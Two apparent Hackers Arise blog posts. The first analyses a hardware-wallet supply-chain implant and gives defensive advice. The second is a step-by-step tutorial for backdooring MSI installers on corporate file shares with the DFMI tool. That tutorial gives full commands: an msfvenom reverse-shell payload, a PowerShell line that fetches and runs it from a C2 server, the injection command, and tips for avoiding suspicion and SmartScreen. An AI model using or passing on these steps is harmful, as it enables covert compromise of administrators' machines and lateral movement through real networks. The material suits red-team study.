Welcome back, aspiring cyberwarriors!

October 2026 brought a clear demonstration that hardware wallets, while far safer than software alternatives, are not immune to sophisticated physical attacks. 

Beginning on 9 October, hundreds of users who had purchased Ledger devices through the Southeast Asian reseller CryptoBilis saw their funds drained across Bitcoin, Ethereum, TRON and other chains. On-chain researchers estimated losses between roughly $86 million and more than $100 million. Ledger confirmed that at least one affected device contained an unauthorized hardware implant and stated that every confirmed loss in the incident was linked to a device sold by CryptoBilis. The company has emphasized that its own infrastructure, firmware and direct sales channels were not compromised.

The Supply-Chain Attack

The attack was physical. Someone in the distribution chain opened genuine Ledger Nano X devices, installed a small circuit board and resealed them. The implant sits inside the enclosure under or behind the screen where foam padding normally rests, and taps the SPI bus that carries data from the Secure Element to the display. When the owner sets up the device and the screen shows the 24-word recovery phrase, the implant’s microcontroller recognizes those screens, reconstructs the words and sends them out over LTE using a provisioned eSIM and a small antenna. Because the original Secure Element remains untouched, the device continues to pass Ledger’s Genuine Check. Mark Karpelès and Tibane Labs have documented multiple generations of the implant, progressing from early versions with visible wires and a smaller battery to later flex-circuit designs that are harder to notice and sometimes keep the original battery.

Mark Karpelès publicly posted a photo of a unit that arrived from Malaysia with flawless packaging. The extra hardware only became visible when he opened the case.  

Similar implants have been reported in devices obtained through other channels, including Japanese marketplaces and at least one European store, although Ledger has so far tied every confirmed fund loss specifically to CryptoBilis purchases. 

The company has asked the reseller to halt sales and has advised recent buyers not to initialize unused devices. Those who already completed setup are told to move their assets to a new signer purchased directly from Ledger and initialized with a fresh seed phrase.

How to Buy a Hardware Wallet Safely

The single most effective protection is to purchase directly from the manufacturer’s own online store.

Authorized resellers are listed on the manufacturer’s website, yet CryptoBilis was also a partner that introduced modified units into the channel. Marketplace listings of third-party shops carry a much higher risk of both counterfeits and implants. 

Once the package arrives, you should confirm that a new device requires you to generate a recovery phrase yourself on first use. Any recovery phrase that’s already written on a card or printed in documentation belongs to someone else and should never be used. The phrase must appear only on the device’s own screen and you must write it down yourself on paper or metal. Never type it into a computer or phone, don’t use websites or applications with it. 

Below you can see a photo of the hardwallet owner signing a transaction inside the faraday cage to avoid any interference and possible theft.

Check Your Wallet   

The first question is the source of the device. Anyone who bought a Ledger from CryptoBilis or another untrusted reseller in recent months should treat the unit as unsafe.  Genuine Check is still worth running because it confirms that the Secure Element is original and the firmware is approved, yet it can’t detect added circuitry that merely listens to the screen. 

You can also visually inspect the case for extra wires or antennas that can reveal tampering, but modern implants are designed to be inconspicuous and reliable detection usually requires opening the device. After a wallet is set up, compare receiving addresses shown on the device screen against those displayed in the companion application and review transaction history on block explorers for unexpected outgoing transfers. The recovery phrase must be generated by the device under your direct observation and written down only by you.

Mark Karpelès also has a few videos on opening and closing Ledger wallets that you might find helpful.

What to Do If You Suspect Compromise

If a device was purchased from CryptoBilis or any other questionable source and has already been initialized, the existing recovery phrase should be treated as compromised. Move your assets to a new wallet whose seed was generated on a trusted device bought directly from the manufacturer. Never reuse the old seed for any purpose.

More Recommendations

A BIP-39 passphrase adds a meaningful layer of protection because it isn’t displayed during ordinary setup and must be known in addition to the seed. It’s also known as passphrase (the extra “25th word”). It’s optional and you may choose it later. It is not generated or displayed by the device during ordinary setup. Adding it creates a hidden wallet, which means you have completely different keys and addresses. 

For larger holdings use a multisignature arrangement to reduce reliance on any single device. Always check the address where you send your money to, as it can often be replaced by malware or bots making small transactions with similar addresses to mislead you into sending money to this similar address. 

Hardware wallets still provide strong protection against the majority of remote thefts precisely because private keys never leave the Secure Element and every transaction requires physical confirmation on the device itself. 

Summary

Hardware wallets can pass authenticity tests and still contain an implant capable of capturing the recovery phrase the moment it appears on screen. The best thing you can do is to buy devices only from the manufacturer, generate the seed yourself on the device and write it down offline. For anyone who recently purchased a device from a third party, the cost of generating a new seed and moving funds is far lower than the cost of discovering the compromise after the fact.

The post Cryptocurrency: Security Analysis of Hardware Crypto Wallets first appeared on Hackers Arise.

Welcome back, cyberwarriors! 

In big companies you often find file shares full of software that admins install on workstations and servers. It’s common practice to keep all these installers in a separate share. Some admins leave those shares fully accessible to anyone, because they think there is nothing valuable. Those installers can be backdoored without breaking them though. Next time an administrator runs it, the backdoor executes under their privileges, which can let you move laterally without knowing their password.

We’ll use DFMI, which was presented at DEFCON 34. With enough time spent on a backdoor, hackers can bypass the SmartScreen warning and make the installer look a lot more trustworthy.

Setting Up

Before we can backdoor any .msi installer with Kali, we need msitools installed first:

kali > sudo apt update
kali > sudo apt install -y msitools wixl

Then we download the repository and run the tool:

kali > git clone https://github.com/ccelikanil/DFMI.git
kali > cd DFMI
kali > python3 dfmi.py

We’ll only cover the inject command here. It’s enough to backdoor an installer.

Backdoor Injection

There are different apps with .msi installers available on GitHub. We’ll use 7z since it’s common to come across. You can choose whatever you find in the share where installers are stored.

We chose 7zip that we copied from the release page. 

kali > wget https://github.com/ip7z/7zip/releases/download/26.03/7z2603-x64.msi -O 7zip_original.msi

Next up is the payload. We had two. The first is the payload you generate with your C2 framework, and the second is a benign PowerShell script injected into the installer that downloads and runs the first payload from the C2 server.

We used Metasploit for that. 

kali > msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o payload.exe

Our payload.ps1 looked pretty simple:

Invoke-WebRequest -Uri “http://IP:PORT/payload.exe” -OutFile “C:\Temp\payload.exe”; Start-Process “C:\Temp\payload.exe”

Once you’ve got both ready, you can inject the payload into the installer.

kali > python3 dfmi.py inject 7zip_original.msi 7zip_backdoor.msi --c2 http://192.168.131.7:8000/payload.ps1 

At the bottom it’ll show you different ways to execute it on the victim machine from the terminal, but we’ll use the GUI for this.

Group all the backdoors into a directory with the newly created .msi file and set up an HTTP server to deliver them to the victim machine:

# make sure they are all there
kali > ls 
kali > python3 -m http.server

Infecting Machines

This can take time depending on your approach, especially if you replace the installers in a share and then wait. We’ll just download it from the HTTP server and launch the installation.

Worth noting that when you install the backdoored app, a terminal window will briefly pop up with nothing in it. This does happen occasionally with legitimate software too, so it’s not a giveaway. Changing the timestamp of the file in the share makes it look even more trustworthy.

Once the installation finishes, you get the connection back.

The installed app keeps working normally, which minimizes suspicion and makes that terminal window look like it was supposed to be there.

Summary

With enough time spent on this attack, hackers can bypass SmartScreen and obfuscate their payload to evade detection. Some companies don’t have the resources for decent protections and using cracked software is common practice in certain countries. This makes the environment even more permissive and admins less alert. The example we showed was basic, but it was enough to infect our machine and get remote access without breaking the installer itself.

If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.

The post Offensive Security: Backdooring Installers with DFMI first appeared on Hackers Arise.